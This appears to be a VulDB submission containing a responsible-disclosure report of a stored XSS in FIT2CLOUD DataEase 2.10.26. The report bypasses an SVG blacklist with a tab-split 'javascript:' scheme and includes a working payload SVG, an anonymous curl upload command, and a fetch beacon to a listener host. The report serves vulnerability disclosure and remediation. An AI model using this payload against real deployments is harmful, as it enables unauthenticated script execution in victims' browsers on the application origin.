| Título | FIT2CLOUD DataEase (the vulnerable SVG validator lives in the in-repo `core/core-backend` static-resource server) audited at released build 2.10.26, commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245` (runtime: production `CoreApplication.jar` v2.10.26); th |
|---|
| Descripción | Stored XSS in DataEase through a structural bypass of the SVG content blacklist
Vendor: FIT2CLOUD
Affected versions: audited at released build 2.10.26, commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245` (runtime: production `CoreApplication.jar` v2.10.26); the validator (`StaticResourceServer.validateSvgContent`, 19-substring blacklist) is the content fix shipped in 2.10.20 and is unchanged in shape at 2.10.26
Vulnerability class: Stored cross-site scripting through blacklist bypass (CWE-79); the upload path is unauthenticated per the separately reported suffix-whitelist authentication gap (CWE-434/CWE-306)
Preconditions: Plant is anonymous on a default standalone deployment (the upload endpoint's missing authentication is the separately reported suffix-whitelist finding; no account, token, cookie or share link was used in the proof). The content bypass itself also applies to authenticated SVG upload surfaces guarded by the same validator. Victim side: one click on the anchor inside the served SVG document (top-level navigation to the direct link). Verified at runtime that the guard still rejects `<script>` and plain `javascript:` shapes.
An uploaded SVG whose anchor `href` is written `jav	ascript:` passes the DataEase SVG content blacklist and executes as `javascript:` in the victim's browser on the DataEase origin: the validator scans entity-decoded attribute values for raw substrings, while the browser strips tab characters from the URL scheme before executing it.
Data flow: multipart SVG body at `POST /de2api/staticResource/upload/{fileId ending in svg}` → DOM parse (`StaticResourceServer.java:201`) → attribute-value substring scan (`:282`, `:320-327`, 19 substrings) → stored `static-resource/{fileId}.svg.svg` → `GET /de2api/static-resource/{fileId}.svg.svg` served `image/svg+xml` from the DataEase origin → browser click executes `jav\tascript:` as `javascript:`.
### Affected interfaces
| Interface |
|---|
| POST /de2api/staticResource/upload/f2p.svg — multipart part `file`, SVG body with `href="jav	ascript:..."`; anonymous on default standalone deployments |
| GET /de2api/static-resource/f2p.svg.svg — trigger; served `image/svg+xml`; victim clicks the anchor inside the document |
Primary route detail:
```
POST /de2api/staticResource/upload/f2p.svg HTTP/1.1
Content-Type: multipart/form-data; part `file` = <svg ...><a href="jav	ascript:fetch('http://<listener>/hit?...')"><text ...>click</text></a></svg>
```
### Root cause
1. Parse-before-scan: `StaticResourceServer.java:201` builds a DOM from the uploaded bytes and the scan reads attribute values out of that DOM (`:282`) — scanned values are already entity-decoded, so the literal `'&#'` check at `:326` can never fire on a decoded value, and any banned substring can be split by a character reference (here: the tab in the scheme).
2. The 19-substring blacklist (`:320-327`) misses the whitespace-formatted scheme: `jav	ascript:fetch(...)` decodes to `jav\tascript:` — no `javascript:` substring and none of the 19 entries. The element whitelist (`dangerousTags`, `:261-264`) does not include `a`/`text`; the `on*` check (`:290`) inspects attribute names only; text content passes the text-node checks (`:347-387`).
3. Browsers normalize the other way: WHATWG URL parsing strips ASCII tab, LF and CR before scheme matching, so `jav\tascript:` executes as `javascript:` when the victim activates the anchor.
4. Serving side: the read is anonymous, `Content-Type` is `image/svg+xml`, and the CSP (`default-src * data: blob: 'unsafe-inline' 'unsafe-eval'`) does not block `javascript:` URLs.
Missing guard: URL-valued attributes need scheme validation on the decoded, whitespace-stripped
value against an allowlist (`http`, `https`, …), not substring denial on raw text. The scanner and
the browser normalize in opposite directions, so the bypass does not depend on any missing keyword.
Baseline: released production `CoreApplication.jar` (v2.10.26, commit `0a9eaf6af890bbc91ebcd71a8a8013f917846245`), self-hosted on `127.0.0.1:18763`; test listener on `127.0.0.1:18952` logging every request; headless Chromium (101, local cache build) for the browser leg. No DataEase account or token was used anywhere.
**1. Payload SVG (192 bytes stored):**
```xml
<svg xmlns="http://www.w3.org/2000/svg"><a href="jav	ascript:fetch('http://127.0.0.1:18952/hit?de-f2-tab-bypass-click')"><text x="20" y="40" font-size="30">click</text></a></svg>
```
**2. Anonymous upload passes the guard:**
```sh
$ curl -i -X POST 'http://127.0.0.1:18763/de2api/staticResource/upload/f2p.svg' \
-F '[email protected];type=image/svg+xml'
HTTP/1.1 200
{"code":0,"msg":null,"data":null} # stored as static-resource/f2p.svg.svg, 192 bytes
```
**3. Served verbatim from the origin:** `GET /de2api/static-resource/f2p.svg.svg` → `200`, `Content-Type: image/svg+xml`, body = the entity-encoded payload above.
**4. Browser execution (headless Chromium):** a wrapper page embeds the application-served SVG via `<object>` and dispatches a click on the anchor (the wrapper used `--disable-web-security` only so the parent page could reach into the SVG document to synthesize that click; the `javascript:` execution itself happens inside the SVG document the application served). The listener received:
```
REQ /hit?wrapper-dispatched (wrapper entered the SVG document and dispatched the click)
REQ /hit?de-f2-tab-bypass-click (the payload's javascript: URL executed and reached out)
```
**5. Negative controls:**
| Control | Body | Result |
|---|---|---|
| `<script>` payload | SVG containing `<script>fetch('.../hit?de-f2-negctl-script')</script>` | `{"code":40001,"msg":"DEException(code=40001, msg=SVG contains disallowed scripts or event handlers)"}` — rejected, nothing stored |
| Plain `javascript:` payload | `href="javascript:fetch(...)"` | same `40001` rejection, nothing stored |
| Benign SVG click | wrapper loads the stored benign SVG, same click path | listener saw only the wrapper marker — no execution |
| Harness positive control | plain HTML page with inline `fetch('/hit?ctrl-html-script-exec')` | listener hit — the browser+listener chain can detect execution (rules out false negative) |
The positive and negative payloads differ in exactly one variable — `jav	ascript:` versus `javascript:`/`<script>` — so the rejection of the known shapes and the acceptance of the entity/tab form isolate the structural gap.
All testing was performed against a self-hosted instance on the reporter's own host. No third-party system, production instance or customer data was involved.
- **Vendor contact**: [email protected] (FIT2CLOUD security contact email)
- **Status**: vendor notified via email 2026-10-09; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally. |
|---|
| Fuente | ⚠️ https://github.com/dataease/dataease |
|---|
| Usuario | lucasg2g (UID 84737) |
|---|
| Sumisión | 2026-10-15 07:34 (hace 23 días) |
|---|
| Moderación | 2026-11-06 19:27 (23 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 432071 [DataEase hasta 2.10.27 SVG StaticResourceServer.java StaticResourceServer.validateSvgContent secuencias de comandos en sitios cruzados] |
|---|
| Puntos | 20 |
|---|